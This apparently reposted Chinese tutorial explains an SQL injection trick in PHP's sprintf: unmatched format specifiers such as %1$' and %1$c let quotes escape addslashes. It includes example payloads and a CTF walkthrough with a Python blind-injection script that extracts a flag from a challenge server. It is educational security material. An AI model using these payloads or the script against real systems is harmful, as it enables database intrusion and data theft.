php sprintf 千分位,PHP sprintf格式化字符串漏洞

原标题:PHP sprintf格式化字符串漏洞

原理

sprintf 把百分号(%)符号替换成一个作为参数进行传递的变量:

$number = 2;

$str = "Shanghai";

$txt = sprintf( "There are %u million cars in %s.",$number,$str);

echo$txt;

?>

运行结果

Thereare 2million cars in Shanghai.

定义和用法 sprintf 函数把格式化的字符串写入变量中。

arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

注释:如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 "$" 组成。

$number = 123;

$txt = sprintf( "带有两位小数:%1$.2f


不带小数:%1$u" ,$number);

echo$txt;

?>

结果:

带有两位小数:123 .00

不带小数:123

漏洞分析

接下来看看sprintf的底层实现方法

switch(format[inpos]) {

case's':

{

zend_string * t;

zend_string * str = zval_get_tmp_string(tmp, &t);

php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);

zend_tmp_string_release(t);

break;

}

case'd':

php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);

break;

case'u':

php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);

break;

case'g':

case'G':

case'e':

case'E':

case'f':

case'F':

php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);

break;

case'c':

php_sprintf_appendchar( & result, &outpos, ( char) zval_get_long(tmp));

break;

case'o':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);

break;

case'x':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);

break;

case'X':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);

break;

case'b':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);

break;

case'%':

php_sprintf_appendchar( & result, &outpos, '%');

break;

default:

break;

}

可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,所以导致了这个问题:如果我们输入 "%" 或者 "%1$" ,他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么 "%" , "%1$" 就因为没有经过任何处理而被替换为空。

029767c539cdab955b8e5d10c9455390.png

因此sprintf注入的原理就是

我们用一个15种类型之外的 "" 来代替格式字符类型让函数替换为空,则“%1$'”后面的单引号就能闭合前面的单引号,以下是一些例子帮助我们更好的理解

不带占位符的

$sql= "select * from user where username='%' and 1=1 #';";

$user= 'admin';

echosprintf($sql,$user);

?>

运行结果:

select* fromuserwhereusername= ''and1= 1# ';

注意:username=''这里是两个单引号不是双引号

带有占位符:先看不带的原样输出

4aa3ce239eac04197009ebe8a196086b.png

and1= 1#

ANDb= 'and 1=1#'

SELECT * FROM t WHERE a= 'admin'ANDb= 'and 1=1#'

进行绕过

//addslashes函数:在预定义前面加反斜杠,预定义符有单引号( '),双引号("),反斜杠,NULL

$input = addslashes ("%1$' and1= 1#" );

$b = sprintf( "AND b='%s'", $input );

$sql = sprintf( "SELECT * FROM t WHERE a='%s' $b ", 'admin');

echo $sql ;

?>

对$input与$b进行了拼接

$sql = sprintf( "SELECT * FROM t WHERE a='%s' AND b='%1$' and 1=1#' ", 'admin');

很明显,这个句子里面的 是由addsashes为了转义单引号而加上的,使用%s与 %1$ 类匹配admin,那么admin只会出现在%s里, %1$ 为空 所以输出

%1$ ' and 1=1#

AND b=' %1$ ' and 1=1#'

SELECT * FROM t WHERE a= 'admin'AND b= ''and1= 1#'

d75dc74e521c7d6b80f1855ff08e4af5.png

对于这个问题,我们还可以这样写

$sql = sprintf( "SELECT * FROM table WHERE a='%1$' AND b='%d' and 1=1#' ", 'admin');

result:

SELECT* FROMt WHEREa= 'admin'ANDb= ''and1= 1# '

第一个格式化处匹配时为空,会让给后面的格式化匹配

以上两个例子是吃掉''来使得单引号逃逸出来

下面这个例子我们构造单引号

$input1 = '%1$c) OR 1 = 1 /*';

$input2 = 39 ;

$sql = "SELECT * FROM foo WHERE bar IN (' $input1') AND baz = %s";

echo($sql. "
");

$sql = sprintf ( $sql, $input2);

echo $sql ;

结果:

SELECT* FROMfoo WHEREbar IN( ' %1$c) OR 1 = 1 /* ') ANDbaz = %s

SELECT* FROMfoo WHEREbar IN( ' ') OR1= 1/* ') AND baz = 39

%c起到了类似chr的效果,将数字39转化为‘,从而导致了sql注入。

所以结果为:

SELECT* FROMfoo WHEREbar IN( '') OR1= 1/*) AND baz = 39实战

i春秋的 “迎圣诞,拿大奖”活动赛题 [url]https://www.ichunqiu.com/battalion?t=1&r=60469[/url]

进行fuzz时 ,当输入 % 时爆sprintf错误

26b5c7b1d78547bb15b7b2390a7e398b.png

于是构造 username=admin%1$' and 1=2# 与 username=admin%1$' and 1=1# 于是写下脚本:

# _*_ coding : utf-8 _*_

importrequests

importre

importurllib2

headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',

}

dbname = ""

chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

url = "http://00eec0b6e68b4332b078c559e3fee6307720121e6aaf49e4.changame.ichunqiu.com/"

form inrange( 30, 50):

fori inrange( 32, 126):

s = "%1$' or ascii(substr((select flag from flag),"+str(m)+ ",1))="+str(i)+ "#"

# str1 = urllib2.quote(s)

str1 = s

data={ 'username': str1, 'password': '12313'}

# print str1

# print urllib2.unquote(str1)

req = requests.post(url=url, data=data,headers=headers)

# print req.text

# print req.text

result = re.findall( 'password error', req.content)

ifresult:

dbname = dbname + chr(i)

printdbname

printchr(i) 返回搜狐,查看更多

责任编辑:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值